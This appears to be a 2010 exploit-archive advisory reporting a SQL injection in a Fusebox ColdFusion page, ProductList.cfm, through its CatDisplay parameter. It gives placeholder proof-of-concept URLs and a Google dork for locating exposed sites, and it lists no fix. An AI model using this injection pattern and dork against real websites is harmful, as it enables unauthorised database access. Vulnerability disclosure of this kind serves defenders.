fusebox (ProductList.cfm?CatDisplay) Remote SQL Injection Vu
Posted on 29 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>fusebox (ProductList.cfm?CatDisplay) Remote SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================================= fusebox (ProductList.cfm?CatDisplay) Remote SQL Injection Vulnerability ======================================================================= Author : Shamus Date : May, 29 th 2010 Location : Solo && Jogjakarta, Indonesia Web : http://antijasakom.org/forum Critical Lvl : Moderate Impact :- Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : - version : - Vendor : http://www.fusebox.org/ download : http://www.fusebox.org/go/getting-started/downloading-fusebox Description : Fusebox is the most popular framework for building ColdFusion and PHP web applications. "Fuseboxers" find that the framework releases them from much of the drudgery of writing applications and enables them to focus their efforts on creating great, customer-focused software. -------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~ - PoC/Exploit : ~~~~~~~~~~ http://127.0.0.1/ProductList.cfm?CatDisplay=1%27[SQL query] http://127.0.0.1/[path]/ProductList.cfm?CatDisplay=1%27[SQL query] Dork: ~~~~~ Google : ProductList.cfm?CatDisplay Solution: ~~~~~ - N/A. # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-29]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
